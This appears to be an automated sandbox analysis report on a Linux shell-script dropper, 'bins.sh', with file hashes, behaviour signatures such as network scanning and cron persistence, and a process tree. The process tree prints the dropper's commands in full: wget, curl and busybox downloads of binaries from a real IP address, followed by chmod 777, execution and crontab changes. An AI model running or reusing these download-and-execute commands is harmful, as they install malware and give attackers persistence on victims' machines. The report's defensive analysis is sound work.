Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 21:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    80fbc92fef78f4dd4d74728414ee221d

  • SHA1

    a7ad696c79b7b407183a230f08fa116394feb71a

  • SHA256

    6755362ddf5c3b8b031ebacaaec1ae40a9fc13d9954a63c8797ce84240f1c7d0

  • SHA512

    ad2bfdb0bb89f024cd69ca1619353f7c3a86d222985a3b28fc36a20281961f4e205ef0cbbb93f5aeae226c942df346ce5919f9db4cc65b9accaeb37396c10a52

  • SSDEEP

    192:/WRJ4AQsqRh1zn/3C+iiNsZxB1rm2mPn/3C+uQsqRhYVB1rm2i26RJh:tBzn/3C+iimxB1rm2mPn/3C+AB1rm2w

Malware Config

Signatures

  • Contacts a large (2032) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:642
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:671
        • /bin/chmod
          chmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          ./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:679
        • /bin/rm
          rm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          PID:682
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:683
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:696
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:710
        • /bin/chmod
          chmod 777 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • File and Directory Permissions Modification
          PID:718
        • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          ./EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Executes dropped EXE
          PID:720
        • /bin/rm
          rm EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
            PID:722
          • /usr/bin/wget
            wget http://216.126.231.240/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Writes file to tmp directory
            PID:725
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:728
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            ./waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:765
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Writes file to tmp directory
              PID:766
            • /bin/chmod
              chmod 777 nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              ./nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Executes dropped EXE
              PID:768
            • /bin/rm
              rm nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                ./uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:776
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:778
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:779
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:780
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:781
                    • /bin/rm
                      rm uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                        2⤵
                          PID:786

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /var/spool/cron/crontabs/tmp.NZIk4o

                        Filesize

                        210B

                        MD5

                        2d5513b60cdecaa39014ffa85eccd67f

                        SHA1

                        9242995355833b481be9e7715ee256a3950cae13

                        SHA256

                        b227f06090868d02695907ddd6dbbdafd7fc16e3c0a05563090d07b7b94583c1

                        SHA512

                        08735a954e1693bfae7bf31dd7cd86173ca99ac046c0418503eb49aa1bec56003acfa06e3b4e8a69d7ab98eb42a6a8c94bb28736b543589cdc3e0876efa6016d